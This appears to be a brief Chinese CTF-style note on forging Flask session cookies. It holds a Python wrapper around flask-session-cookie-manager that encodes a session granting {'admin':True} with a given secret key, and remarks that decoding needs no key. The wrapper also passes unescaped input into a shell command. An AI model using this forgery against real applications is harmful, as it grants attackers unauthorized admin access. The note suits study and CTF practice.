go

session 伪造

- 跑脚本

```
import os

def encrypt(payload,key=""):
    script_path = r"flask-session-cookie-manager/
flask_session_cookie_manager3.py"
    cmd = 'python3 {} encode -t "{}" -s "{}"'.format(script_path,payload,key)
    return os.popen(cmd).read()

def decrypt(payload,key=""):
    script_path = r"flask-session-cookie-manager/
flask_session_cookie_manager3.py"
    if key:
        cmd = 'python3 {} decode -c "{}" -s "{}"'.format(script_path,payload,key)
    else:
        cmd = 'python3 {} decode -c "{}"'.format(script_path,payload)
    return os.popen(cmd).read()


session = """{'admin':True}"""
key = """l11|lIi|11iIl1|IiI|Ii1|IIII|iIII||l1||iI"""
print(encrypt(payload=session,key=key))
```

- 生成 session cookie —— 需要 secret_key
- 解码 session cookie —— 可以不需要 secret_key